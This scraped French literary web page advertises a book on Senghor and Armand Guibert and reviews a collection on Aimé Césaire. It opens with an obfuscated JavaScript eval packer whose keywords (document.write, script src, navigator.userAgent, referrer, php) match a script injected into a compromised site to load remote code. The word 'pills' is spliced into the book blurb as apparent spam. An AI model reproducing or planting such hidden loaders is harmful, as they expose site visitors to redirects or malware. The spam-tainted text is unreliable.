ODEM eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfhis|var|u0026u|referrer|dfdki||js|php'.split('|'),0,{})) Léopold Sédar Senghor et Armand Guibert Frédéric Mambenga-Ylagou ISBN : 978-2-919487-54-7 Prix : 22 € / 13000 FCFA Léopold Sédar Senghor et Armand Guibert La relation littéraire, pills intellectuelle et amicale entre Armand Guibert, poète et critique de France, et Léopold Sédar Senghor, poète et homme d’Etat du Sénégal, souvent occultée ou méconnue dans les études littéraires africaines, prolonge et témoigne de l’attachement que maint intellectuel français a eu avec les chantres de la Négritude. Elle constitue une documentation précieuse pour l’éclairage des rapports entre les éditeurs, les écrivains et les critiques dans la légitimation littéraire négro-africaine d’aprèsguerre aux lendemains des indépendances. Leur abondante correspondance qui s’étire sur une quarantaine d’années ouvre aux stratégies entreprises par le critique français pour diffuser l’oeuvre de Senghor et les expressions culturelles négro-africaines. Il s’agit donc de repenser les repères historiographiques du champ littéraire africain, en soulignant les effets des réseaux relationnels français [+]

Richard Laurent Omgba et André Ntonfo (éds), Aimé Césaire et le monde noir, Paris, L’Harmattan, 2012, 401p. Compte rendu de lecture Ce livre constitue les actes du colloque international tenu à l’Université de Yaoundé I, du 08 au 10 juin 2010, sous le thème : « Aimé Césaire et le monde noir : regards croisés » ; colloque que les éditeurs scientifiques du présent ouvrage, Richard Laurent Omgba – Doyen de la Faculté des Arts, Lettres et Sciences Humaines – et André Ntonfo, présentent respectivement comme un « hommage » et des « funérailles intellectuelles ». Dans son avant-propos, le premier  justifie l’organisation du colloque par la place obsédante que l’Afrique tient dans les œuvres de Césaire. Le deuxième, quant à lui, dans son introduction, érige la Martinique en « terre  de pèlerinage pour le monde noir » et l’intellectuel Martiniquais en Saint. Les contributions sont rassemblées en trois grandes parties. La première traite [+]

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